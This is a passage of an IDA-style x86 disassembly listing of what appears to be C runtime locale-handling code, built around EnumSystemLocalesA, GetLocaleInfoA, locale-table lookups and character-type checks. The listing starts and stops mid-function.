mov eax, 1
jmp loc_43551E
; ---------------------------------------------------------------------------
loc_4352AE: ; CODE XREF: sub_435200+98j
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4F3664
push ecx
call sub_420F10
add esp, 8
test eax, eax
jnz short loc_4352F0
mov edx, ds:dword_4F366C
or edx, 304h
mov ds:dword_4F366C, edx
mov eax, [ebp+var_7C]
mov ds:dword_4F3670, eax
mov ecx, ds:dword_4F3670
mov ds:dword_4F3654, ecx
jmp loc_43538F
; ---------------------------------------------------------------------------
loc_4352F0: ; CODE XREF: sub_435200+C3j
mov edx, ds:dword_4F366C
and edx, 2
test edx, edx
jnz loc_43538F
cmp ds:dword_4F365C, 0
jz short loc_43535D
mov eax, ds:dword_4F365C
push eax
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4F3664
push edx
call sub_438F10
add esp, 0Ch
test eax, eax
jnz short loc_43535D
mov eax, ds:dword_4F366C
or al, 2
mov ds:dword_4F366C, eax
mov ecx, [ebp+var_7C]
mov ds:dword_4F3670, ecx
mov edx, ds:dword_4F3664
push edx
loc_435343: ; DATA XREF: _2:00454828o
call sub_41BC70
add esp, 4
cmp eax, ds:dword_4F365C
jnz short loc_43535B
mov eax, [ebp+var_7C]
mov ds:dword_4F3654, eax
loc_43535B: ; CODE XREF: sub_435200+151j
jmp short loc_43538F
; ---------------------------------------------------------------------------
loc_43535D: ; CODE XREF: sub_435200+108j
; sub_435200+125j
mov ecx, ds:dword_4F366C
and ecx, 1
test ecx, ecx
jnz short loc_43538F
mov edx, [ebp+var_7C]
push edx
call sub_4358A0
add esp, 4
test eax, eax
jz short loc_43538F
mov eax, ds:dword_4F366C
or al, 1
mov ds:dword_4F366C, eax
mov ecx, [ebp+var_7C]
mov ds:dword_4F3670, ecx
loc_43538F: ; CODE XREF: sub_435200+69j
; sub_435200+EBj ...
mov edx, ds:dword_4F366C
and edx, 300h
cmp edx, 300h
jz loc_435511
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4F3660
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call ds:dword_4F3674
test eax, eax
jnz short loc_4353E6
mov ds:dword_4F366C, 0
mov eax, 1
jmp loc_43551E
; ---------------------------------------------------------------------------
loc_4353E6: ; CODE XREF: sub_435200+1D0j
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4F3664
push ecx
call sub_420F10
add esp, 8
test eax, eax
jnz loc_4354B0
mov edx, ds:dword_4F366C
or dh, 2
mov ds:dword_4F366C, edx
cmp ds:dword_4F3660, 0
jz short loc_43543A
mov eax, ds:dword_4F366C
or ah, 1
mov ds:dword_4F366C, eax
cmp ds:dword_4F3654, 0
jnz short loc_435438
mov ecx, [ebp+var_7C]
mov ds:dword_4F3654, ecx
loc_435438: ; CODE XREF: sub_435200+22Dj
jmp short loc_4354AE
; ---------------------------------------------------------------------------
loc_43543A: ; CODE XREF: sub_435200+217j
cmp ds:dword_4F365C, 0
jz short loc_43548F
mov edx, ds:dword_4F3664
push edx
call sub_41BC70
add esp, 4
cmp eax, ds:dword_4F365C
jnz short loc_43548F
push 1
mov eax, [ebp+var_7C]
push eax
call sub_4358F0
add esp, 8
test eax, eax
jz short loc_43548D
mov ecx, ds:dword_4F366C
or ch, 1
mov ds:dword_4F366C, ecx
cmp ds:dword_4F3654, 0
jnz short loc_43548D
mov edx, [ebp+var_7C]
mov ds:dword_4F3654, edx
loc_43548D: ; CODE XREF: sub_435200+26Aj
; sub_435200+282j
jmp short loc_4354AE
; ---------------------------------------------------------------------------
loc_43548F: ; CODE XREF: sub_435200+241j
; sub_435200+258j
mov eax, ds:dword_4F366C
or ah, 1
mov ds:dword_4F366C, eax
cmp ds:dword_4F3654, 0
jnz short loc_4354AE
mov ecx, [ebp+var_7C]
mov ds:dword_4F3654, ecx
loc_4354AE: ; CODE XREF: sub_435200:loc_435438j
; sub_435200:loc_43548Dj ...
jmp short loc_435511
; ---------------------------------------------------------------------------
loc_4354B0: ; CODE XREF: sub_435200+1FBj
cmp ds:dword_4F3660, 0
jnz short loc_435511
cmp ds:dword_4F365C, 0
jz short loc_435511
mov edx, ds:dword_4F365C
push edx
lea eax, [ebp+var_78]
push eax
mov ecx, ds:dword_4F3664
push ecx
call sub_438F10
add esp, 0Ch
test eax, eax
jnz short loc_435511
push 0
mov edx, [ebp+var_7C]
push edx
call sub_4358F0
add esp, 8
test eax, eax
jz short loc_435511
mov eax, ds:dword_4F366C
or ah, 1
mov ds:dword_4F366C, eax
cmp ds:dword_4F3654, 0
jnz short loc_435511
mov ecx, [ebp+var_7C]
mov ds:dword_4F3654, ecx
loc_435511: ; CODE XREF: sub_435200+1A1j
; sub_435200:loc_4354AEj ...
mov eax, ds:dword_4F366C
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_43551E: ; CODE XREF: sub_435200+4Fj
; sub_435200+A9j ...
mov esp, ebp
pop ebp
retn 4
sub_435200 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435530 proc near ; CODE XREF: sub_434EB0:loc_434F96p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F3664
push eax
call sub_41BC70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov ds:dword_4F3660, ecx
cmp ds:dword_4F3660, 0
jz short loc_435562
mov [ebp+var_4], 2
jmp short loc_435574
; ---------------------------------------------------------------------------
loc_435562: ; CODE XREF: sub_435530+27j
mov edx, ds:dword_4F3664
push edx
call sub_435BE0
add esp, 4
mov [ebp+var_4], eax
loc_435574: ; CODE XREF: sub_435530+30j
mov eax, [ebp+var_4]
mov ds:dword_4F365C, eax
push 1
push offset sub_4355B0
call ds:dword_4F52F0 ; EnumSystemLocalesA
mov ecx, ds:dword_4F366C
and ecx, 4
test ecx, ecx
jnz short loc_4355A0
mov ds:dword_4F366C, 0
loc_4355A0: ; CODE XREF: sub_435530+64j
mov esp, ebp
pop ebp
retn
sub_435530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4355B0 proc near ; DATA XREF: sub_435530+4Eo
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_435B60
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4F3660
neg edx
sbb edx, edx
and edx, 0FFFFF002h
add edx, 1001h
push edx
mov eax, [ebp+var_7C]
push eax
call ds:dword_4F3674
test eax, eax
jnz short loc_435604
mov ds:dword_4F366C, 0
mov eax, 1
jmp loc_4356C9
; ---------------------------------------------------------------------------
loc_435604: ; CODE XREF: sub_4355B0+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4F3664
push edx
call sub_420F10
add esp, 8
test eax, eax
jnz short loc_435659
cmp ds:dword_4F3660, 0
jnz short loc_435636
push 1
mov eax, [ebp+var_7C]
push eax
call sub_4358F0
add esp, 8
test eax, eax
jz short loc_435657
loc_435636: ; CODE XREF: sub_4355B0+72j
mov ecx, [ebp+var_7C]
mov ds:dword_4F3670, ecx
mov edx, ds:dword_4F3670
mov ds:dword_4F3654, edx
mov eax, ds:dword_4F366C
or al, 4
mov ds:dword_4F366C, eax
loc_435657: ; CODE XREF: sub_4355B0+84j
jmp short loc_4356BC
; ---------------------------------------------------------------------------
loc_435659: ; CODE XREF: sub_4355B0+69j
cmp ds:dword_4F3660, 0
jnz short loc_4356BC
cmp ds:dword_4F365C, 0
jz short loc_4356BC
mov ecx, ds:dword_4F365C
push ecx
lea edx, [ebp+var_78]
push edx
mov eax, ds:dword_4F3664
push eax
call sub_438F10
add esp, 0Ch
test eax, eax
jnz short loc_4356BC
push 0
mov ecx, [ebp+var_7C]
push ecx
call sub_4358F0
add esp, 8
test eax, eax
jz short loc_4356BC
mov edx, [ebp+var_7C]
mov ds:dword_4F3670, edx
mov eax, ds:dword_4F3670
mov ds:dword_4F3654, eax
mov ecx, ds:dword_4F366C
or ecx, 4
mov ds:dword_4F366C, ecx
loc_4356BC: ; CODE XREF: sub_4355B0:loc_435657j
; sub_4355B0+B0j ...
mov eax, ds:dword_4F366C
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_4356C9: ; CODE XREF: sub_4355B0+4Fj
mov esp, ebp
pop ebp
retn 4
sub_4355B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4356D0 proc near ; CODE XREF: sub_434EB0+102p
push ebp
mov ebp, esp
mov eax, ds:dword_4F3668
push eax
call sub_41BC70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov ds:dword_4F3658, ecx
push 1
push offset sub_435720
call ds:dword_4F52F0 ; EnumSystemLocalesA
mov edx, ds:dword_4F366C
and edx, 4
test edx, edx
jnz short loc_435713
mov ds:dword_4F366C, 0
loc_435713: ; CODE XREF: sub_4356D0+37j
pop ebp
retn
sub_4356D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435720 proc near ; DATA XREF: sub_4356D0+21o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_435B60
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4F3658
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call ds:dword_4F3674
test eax, eax
jnz short loc_435771
mov ds:dword_4F366C, 0
mov eax, 1
jmp short loc_4357C6
; ---------------------------------------------------------------------------
loc_435771: ; CODE XREF: sub_435720+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, ds:dword_4F3668
push edx
call sub_420F10
add esp, 8
test eax, eax
jnz short loc_4357B9
mov eax, [ebp+var_7C]
push eax
call sub_4358A0
add esp, 4
test eax, eax
jz short loc_4357B9
mov ecx, [ebp+var_7C]
mov ds:dword_4F3670, ecx
mov edx, ds:dword_4F3670
mov ds:dword_4F3654, edx
mov eax, ds:dword_4F366C
or al, 4
mov ds:dword_4F366C, eax
loc_4357B9: ; CODE XREF: sub_435720+66j
; sub_435720+76j
mov eax, ds:dword_4F366C
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_4357C6: ; CODE XREF: sub_435720+4Fj
mov esp, ebp
pop ebp
retn 4
sub_435720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4357D0 proc near ; CODE XREF: sub_434EB0+38p
; sub_434EB0:loc_434FB9p
push ebp
mov ebp, esp
mov eax, ds:dword_4F366C
or eax, 104h
mov ds:dword_4F366C, eax
call ds:dword_4F52EC ; GetUserDefaultLCID
mov ds:dword_4F3670, eax
mov ecx, ds:dword_4F3670
mov ds:dword_4F3654, ecx
pop ebp
retn
sub_4357D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435800 proc near ; CODE XREF: sub_434EB0+128p
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jz short loc_43582B
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_43582B
push offset off_43DECC
mov edx, [ebp+arg_0]
push edx
call sub_41F7E0
add esp, 8
test eax, eax
jnz short loc_435853
loc_43582B: ; CODE XREF: sub_435800+Aj
; sub_435800+14j
push 8
lea eax, [ebp+var_8]
push eax
push 1004h
mov ecx, ds:dword_4F3670
push ecx
call ds:dword_4F3674
test eax, eax
jnz short loc_43584B
xor eax, eax
jmp short loc_435897
; ---------------------------------------------------------------------------
loc_43584B: ; CODE XREF: sub_435800+45j
lea edx, [ebp+var_8]
mov [ebp+arg_0], edx
jmp short loc_43588B
; ---------------------------------------------------------------------------
loc_435853: ; CODE XREF: sub_435800+29j
push offset off_43DEC8
mov eax, [ebp+arg_0]
push eax
call sub_41F7E0
add esp, 8
test eax, eax
jnz short loc_43588B
push 8
lea ecx, [ebp+var_8]
push ecx
push 0Bh
mov edx, ds:dword_4F3670
push edx
call ds:dword_4F3674
test eax, eax
jnz short loc_435885
xor eax, eax
jmp short loc_435897
; ---------------------------------------------------------------------------
loc_435885: ; CODE XREF: sub_435800+7Fj
lea eax, [ebp+var_8]
mov [ebp+arg_0], eax
loc_43588B: ; CODE XREF: sub_435800+51j
; sub_435800+66j
mov ecx, [ebp+arg_0]
push ecx
call sub_41E610
add esp, 4
loc_435897: ; CODE XREF: sub_435800+49j
; sub_435800+83j
mov esp, ebp
pop ebp
retn
sub_435800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4358A0 proc near ; CODE XREF: sub_435200+16Ep
; sub_435720+6Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov ax, [ebp+arg_0]
mov word ptr [ebp+var_4], ax
mov [ebp+var_8], 0
jmp short loc_4358C0
; ---------------------------------------------------------------------------
loc_4358B7: ; CODE XREF: sub_4358A0:loc_4358E4j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_4358C0: ; CODE XREF: sub_4358A0+15j
cmp [ebp+var_8], 0Ah
jnb short loc_4358E6
mov edx, [ebp+var_4]
and edx, 0FFFFh
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, ds:word_454A54[eax*2]
cmp edx, ecx
jnz short loc_4358E4
xor eax, eax
jmp short loc_4358EB
; ---------------------------------------------------------------------------
loc_4358E4: ; CODE XREF: sub_4358A0+3Ej
jmp short loc_4358B7
; ---------------------------------------------------------------------------
loc_4358E6: ; CODE XREF: sub_4358A0+24j
mov eax, 1
loc_4358EB: ; CODE XREF: sub_4358A0+42j
mov esp, ebp
pop ebp
retn
sub_4358A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4358F0 proc near ; CODE XREF: sub_435200+260p
; sub_435200+2E6p ...
var_7C = byte ptr -7Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7Ch
push esi
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 3FFh
and eax, 0FFFFh
or ah, 4
and eax, 0FFFFh
mov [ebp+var_4], eax
push 78h
lea ecx, [ebp+var_7C]
push ecx
push 1
mov edx, [ebp+var_4]
push edx
call ds:dword_4F3674
test eax, eax
jnz short loc_43592E
xor eax, eax
jmp short loc_435972
; ---------------------------------------------------------------------------
loc_43592E: ; CODE XREF: sub_4358F0+38j
lea eax, [ebp+var_7C]
push eax
call sub_435B60
add esp, 4
cmp [ebp+arg_0], eax
jz short loc_43596D
cmp [ebp+arg_4], 0
jz short loc_43596D
mov ecx, ds:dword_4F3664
push ecx
call sub_435BE0
add esp, 4
mov esi, eax
mov edx, ds:dword_4F3664
push edx
call sub_41BC70
add esp, 4
cmp esi, eax
jnz short loc_43596D
xor eax, eax
jmp short loc_435972
; ---------------------------------------------------------------------------
loc_43596D: ; CODE XREF: sub_4358F0+4Dj
; sub_4358F0+53j ...
mov eax, 1
loc_435972: ; CODE XREF: sub_4358F0+3Cj
; sub_4358F0+7Bj
pop esi
mov esp, ebp
pop ebp
retn
sub_4358F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435980 proc near ; CODE XREF: sub_434EB0+Fp
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 98h
mov [ebp+var_94], 94h
lea eax, [ebp+var_94]
push eax
call ds:dword_4F539C ; GetVersionExA
test eax, eax
jz short loc_4359B9
cmp [ebp+var_84], 2
jnz short loc_4359B9
mov [ebp+var_98], 1
jmp short loc_4359C3
; ---------------------------------------------------------------------------
loc_4359B9: ; CODE XREF: sub_435980+22j
; sub_435980+2Bj
mov [ebp+var_98], 0
loc_4359C3: ; CODE XREF: sub_435980+37j
mov eax, [ebp+var_98]
mov esp, ebp
pop ebp
retn
sub_435980 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4359D0 proc near ; DATA XREF: sub_434EB0:loc_434ED2o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_10], 0
mov [ebp+var_4], 1Ah
mov [ebp+var_8], 0
loc_4359EB: ; CODE XREF: sub_4359D0:loc_435B33j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_4]
jg loc_435B38
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
imul ecx, 2Ch
mov edx, [ebp+arg_0]
cmp edx, ds:dword_4545B0[ecx]
jnz loc_435B0E
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+var_14], 0Bh
ja short loc_435A47
cmp [ebp+var_14], 0Bh
jz loc_435AB9
cmp [ebp+var_14], 1
jz short loc_435A64
cmp [ebp+var_14], 3
jz short loc_435A86
cmp [ebp+var_14], 7
jz short loc_435AA8
jmp loc_435AD8
; ---------------------------------------------------------------------------
loc_435A47: ; CODE XREF: sub_4359D0+54j
cmp [ebp+var_14], 1001h
jz short loc_435A75
cmp [ebp+var_14], 1002h
jz short loc_435A97
cmp [ebp+var_14], 1004h
jz short loc_435ACA
jmp short loc_435AD8
; ---------------------------------------------------------------------------
loc_435A64: ; CODE XREF: sub_4359D0+64j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset a040a ; "040a"
mov [ebp+var_8], ecx
jmp short loc_435AD8
; ---------------------------------------------------------------------------
loc_435A75: ; CODE XREF: sub_4359D0+7Ej
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, ds:off_4545BC[edx]
mov [ebp+var_8], eax
jmp short loc_435AD8
; ---------------------------------------------------------------------------
loc_435A86: ; CODE XREF: sub_4359D0+6Aj
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset off_4545C0
mov [ebp+var_8], ecx
jmp short loc_435AD8
; ---------------------------------------------------------------------------
loc_435A97: ; CODE XREF: sub_4359D0+87j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, ds:off_4545C4[edx]
mov [ebp+var_8], eax
jmp short loc_435AD8
; ---------------------------------------------------------------------------
loc_435AA8: ; CODE XREF: sub_4359D0+70j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset off_4545C8
mov [ebp+var_8], ecx
jmp short loc_435AD8
; ---------------------------------------------------------------------------
loc_435AB9: ; CODE XREF: sub_4359D0+5Aj
mov edx, [ebp+var_C]
imul edx, 2Ch
add edx, offset dword_4545CC
mov [ebp+var_8], edx
jmp short loc_435AD8
; ---------------------------------------------------------------------------
loc_435ACA: ; CODE XREF: sub_4359D0+90j
mov eax, [ebp+var_C]
imul eax, 2Ch
add eax, offset a1252 ; "1252"
mov [ebp+var_8], eax
loc_435AD8: ; CODE XREF: sub_4359D0+72j
; sub_4359D0+92j ...
cmp [ebp+var_8], 0
jz short loc_435AE4
cmp [ebp+arg_C], 1
jge short loc_435AE6
loc_435AE4: ; CODE XREF: sub_4359D0+10Cj
jmp short loc_435B38
; ---------------------------------------------------------------------------
loc_435AE6: ; CODE XREF: sub_4359D0+112j
mov ecx, [ebp+arg_C]
sub ecx, 1
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_41E510
add esp, 0Ch
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov byte ptr [ecx-1], 0
mov eax, 1
jmp short loc_435B4E
; ---------------------------------------------------------------------------
loc_435B0E: ; CODE XREF: sub_4359D0+44j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4545B0[edx]
jnb short loc_435B2A
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_435B33
; ---------------------------------------------------------------------------
loc_435B2A: ; CODE XREF: sub_4359D0+14Dj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_10], edx
loc_435B33: ; CODE XREF: sub_4359D0+158j
jmp loc_4359EB
; ---------------------------------------------------------------------------
loc_435B38: ; CODE XREF: sub_4359D0+21j
; sub_4359D0:loc_435AE4j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F5398 ; GetLocaleInfoA
loc_435B4E: ; CODE XREF: sub_4359D0+13Cj
mov esp, ebp
pop ebp
retn 10h
sub_4359D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435B60 proc near ; CODE XREF: sub_435200+Ap
; sub_4355B0+Ap ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
loc_435B6D: ; CODE XREF: sub_435B60+6Dj
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
movsx edx, [ebp+var_8]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jz short loc_435BCF
movsx ecx, [ebp+var_8]
cmp ecx, 61h
jl short loc_435BA2
movsx edx, [ebp+var_8]
cmp edx, 66h
jg short loc_435BA2
mov al, [ebp+var_8]
add al, 0D9h
mov [ebp+var_8], al
jmp short loc_435BBC
; ---------------------------------------------------------------------------
loc_435BA2: ; CODE XREF: sub_435B60+2Dj
; sub_435B60+36j
movsx ecx, [ebp+var_8]
cmp ecx, 41h
jl short loc_435BBC
movsx edx, [ebp+var_8]
cmp edx, 46h
jg short loc_435BBC
mov al, [ebp+var_8]
add al, 0F9h
mov [ebp+var_8], al
loc_435BBC: ; CODE XREF: sub_435B60+40j
; sub_435B60+49j ...
mov ecx, [ebp+var_4]
shl ecx, 4
movsx edx, [ebp+var_8]
lea eax, [ecx+edx-30h]
mov [ebp+var_4], eax
jmp short loc_435B6D
; ---------------------------------------------------------------------------
loc_435BCF: ; CODE XREF: sub_435B60+24j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_435B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435BE0 proc near ; CODE XREF: sub_435140+60p
; sub_435530+39p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_435BFE: ; CODE XREF: sub_435BE0+5Cj
movsx eax, [ebp+var_4]
cmp eax, 41h
jl short loc_435C10
movsx ecx, [ebp+var_4]
cmp ecx, 5Ah
jle short loc_435C22
loc_435C10: ; CODE XREF: sub_435BE0+25j
movsx edx, [ebp+var_4]
cmp edx, 61h
jl short loc_435C3E
movsx eax, [ebp+var_4]
cmp eax, 7Ah
jg short loc_435C3E
loc_435C22: ; CODE XREF: sub_435BE0+2Ej
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
jmp short loc_435BFE
; ---------------------------------------------------------------------------
loc_435C3E: ; CODE XREF: sub_435BE0+37j
; sub_435BE0+40j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_435BE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 0
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 107h
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 103h
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 117h
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 157h
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 10h
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435D50 proc near ; CODE XREF: sub_42F1D0+4Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 0
mov eax, [ebp+arg_0]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
sub_435D50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 8
push 0
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F37CC, 3A4h
jnz short loc_435DBD
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_435DD0
add esp, 0Ch
test eax, eax
jz short loc_435DBD
mov dword ptr [ebp-4], 1
jmp short loc_435DC4
; ---------------------------------------------------------------------------
loc_435DBD: ; CODE XREF: _0:00435D9Ej _0:00435DB2j
mov dword ptr [ebp-4], 0
loc_435DC4: ; CODE XREF: _0:00435DBBj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435DD0 proc near ; CODE XREF: _0:00435C5Bp _0:00435C7Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
and eax, 0FFh
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, ds:byte_4F38E1[ecx]
and edx, [ebp+arg_8]
test edx, edx
jnz short loc_435E24
cmp [ebp+arg_4], 0
jz short loc_435E0E
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, ds:word_453BEE[eax*2]
and ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
jmp short loc_435E15
; ---------------------------------------------------------------------------
loc_435E0E: ; CODE XREF: sub_435DD0+27j
mov [ebp+var_4], 0
loc_435E15: ; CODE XREF: sub_435DD0+3Cj
cmp [ebp+var_4], 0
jnz short loc_435E24
mov [ebp+var_8], 0
jmp short loc_435E2B
; ---------------------------------------------------------------------------
loc_435E24: ; CODE XREF: sub_435DD0+21j
; sub_435DD0+49j
mov [ebp+var_8], 1
loc_435E2B: ; CODE XREF: sub_435DD0+52j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_435DD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, ds:dword_4F37C0
jnb short loc_435E71
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_435E81
loc_435E71: ; CODE XREF: _0:00435E4Dj
call sub_429A90
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_435EAF
; ---------------------------------------------------------------------------
loc_435E81: ; CODE XREF: _0:00435E6Fj
mov edx, [ebp+8]
push edx
call sub_431070
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_435EC0
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_431100
add esp, 4
mov eax, [ebp-4]
loc_435EAF: ; CODE XREF: _0:00435E7Fj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435EC0 proc near ; CODE XREF: sub_4314E0+44Cp
; _0:00435E95p
var_1024 = dword ptr -1024h
